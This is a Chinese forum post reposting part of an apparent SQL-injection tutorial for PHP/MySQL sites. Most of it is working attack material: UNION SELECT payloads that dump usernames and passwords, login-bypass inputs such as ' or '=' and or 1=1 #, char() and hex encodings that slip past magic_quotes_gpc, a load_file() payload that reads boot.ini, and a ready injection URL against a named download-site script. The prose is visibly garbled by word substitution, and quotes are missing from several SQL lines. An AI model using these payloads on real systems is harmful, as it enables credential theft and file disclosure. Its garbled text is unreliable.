仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1754|回复: 20
打印 上一主题 下一主题

[学习教程] PHP网页设计php注入2

[复制链接]
谁可相欹 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:29:30 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
大家如果能懂得“熟能生巧”的道理也就明白了这并不是浪费时间,同时这也可以减轻板主的负担,让他们有时间去处理更难的问题。   咱们构建注入语句吧
在输出框输出
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
了局如图17哦
怎样,出来了吧,哈哈,一切尽在把握当中。
C:上面咱们从注上天点上在来看一下各类注入进击体例
1)    起首来看看后台上岸哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台上岸胜利";
}
esle
{
echo "从头上岸";
exit;

.........
?>
Username和password没有经由任何处置直接放到sql中履行了。
看看咱们怎样绕过呢?
最经典的仍是谁人:
在用户名和暗码框里都输出
‘or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
如许带入失掉的$data一定为真,也就是咱们胜利上岸了。
还有其他的绕过办法,道理是一样的,就是想举措让$data前往是真就能够了。
咱们可以用上面的这些中办法哦
1.
用户名和暗码都输出 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和暗码都输出 or 1=1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ‘ =
and Password= or 1=1 and ‘ =

用户名和暗码都输出 or 2>1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ‘ =
and Password= or 2>1 and ‘ =
3.
用户名输出 or 1=1 # 暗码随意输出
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything

前面局部被正文失落了,固然前往仍是真哦。
        4.
假定admin的id=1的话你也能够
用户名输出 or id=1 # 暗码随意输出
Sql成了
select * from alphaauthor where UserName= or id=1 # and Password= anything
如图18
看看后果图19

怎样?直接上岸了哦!
俗语说的好,只要想不到没有做不到。
还有更多的机关办法等着课后本人想啦。
2)第二个经常使用注入的中央应当算是前台材料显示的中央了。
下面已屡次提到了呀,并且触及了数字型,字符型等等,这里就不再反复了哈。
只是举个例子回忆一下
碧浪潮声下载站 - v2.0.3 lite有注入破绽,代码就不再列出来了
直接看了局
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%
20dl_users
如图20
看看,咱们又失掉咱们想要的了
用户名alpha
暗码一长串。
为何咱们要把password放在3字段处,把username放在5字段处了,咱们下面已提过了哦,就是咱们猜想3和5段显示的应当是字符串型,而与咱们要显示的username和password的字段类型应当不异,所以咱们如许放了哦。
为何要用18个字段呢?不晓得人人仍是否记得在union select引见那边咱们提到union必需请求前后select的字段数不异,咱们可以经由过程增添select的个数来猜想到需求18个字段,只要如许union select的内容才会正常显示哦!
3)其它如材料修正,用户注册的中央次要得有效户品级的使用。
咱们在下面讲述update和insert的时分都已讲到,由于不是很经常使用,这里就不再论述,鄙人面将会提到一些关于update和insert的初级使用技能。
二:上面将要进入magic_quotes_gpc=On时分的注入进击教授教养环节了
    当magic_quotes_gpc=On的时分,交的变量中一切的 (单引号),
" (双引号), \ (反斜线) 和 空字符会主动转为含有反斜线的本义字符。
    这就使字符型注入的办法化为乌有,这时候候咱们就只能注入数字型且没有
Intval()处置的情形了,数字型的咱们已讲了良多了是吧,因为数字型没有效到单引号天然就没有绕过的成绩了,关于这类情形咱们直接注入就能够了。
1)假设是字符型的就必需得像上面这个模样,没有在字符上加引号 。
     
这里咱们要用到一些字符串处置函数先,
字符串处置函数有良多,这里咱们次要讲上面的几个,详细可以参照mysql中文参考手册7.4.10。
     
    char() 将参数注释为整数而且前往由这些整数的ASCII代码字符构成的一个字符串。
固然你也能够用字符的16进制来取代字符,如许也能够的,办法就是在16进制后面加0x,看上面的例子就分明了。
        //login.php
    ......
$query="select * from ".$art_system_db_table[ user ]."
where UserName=$username and Password= ".$Pw." ";
......
?>
假定咱们晓得后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(咱们将在光盘中供应16进制和ascii转换东西)
好了直接在阅读器里输出:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句酿成:
select * from alphaAut
hor where UserName=char(97,108,112,104,97)# and Password=
如图21

    正如咱们希冀的那样,他顺遂履行了,咱们失掉咱们想要的。
    固然咯,咱们也能够如许机关
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句酿成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=
咱们再一次是胜利者了。很有成绩感吧,
也许你会问咱们是不是可以把#也放在char()里
实践上char(97,108,112,104,97)相当于 alpha
注重是alpha上加引号,暗示alpha字符串。
咱们晓得在mysql中假如履行
mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column alpha in where clause
看前往毛病了。由于他会以为alpha是一个变量。所以咱们得在alpha上加引号。
以下
mysql> select * from dl_users where username= alpha ;
如许才是准确的。
假如你把#号也放到那边去了,就成了 alpha#
带入sql语句中
select * from dl_users where username= alpha# ;
固然是甚么也没有了,由于连alpha#这个用户都没有。
好,上面咱们再来看个例子,
    //display.php
    ......
$query="select * from ".$art_system_db_table[ article ]."
where type=$type;
......
?>
代码依据类型来显示内容,$type没有任何过滤,且没有加引号放入法式中。
假定type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)
咱们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为:
select * from ".$art_system_db_table[ article ]."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,咱们的用户名和暗码照样出来了哦!没有截图,想像一下咯:P
2)    也许有人会问,在magic_quotes_gpc=On的情形下功效壮大的load_file()还能不克不及用呢?
这恰是咱们上面要将的成绩了,load_file()的利用格局是load_file(‘文件途径 )
咱们发明只需把‘文件途径 转化成char()就能够了。碰运气哦
load_file(‘c:/boot.ini )转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22
    放到详细注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,load_file(char
(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18
看图23
    看看,咱们看到了boot.ini的内容了哦。
很惋惜的是into outfile 不克不及绕过,否则就更爽了。然而仍是有一个中央可使用select * from table into outfile 那就是....(先卖个关子,上面会告知你)
  应该大致熟悉了一些学习过程,也许我的过程和你的有些出路,但是不管怎么样是殊途同归,我写这么多,也只是给大家一个借鉴的机会,至于好与不好,默默不敢打包票^0^
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-13 22:53

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表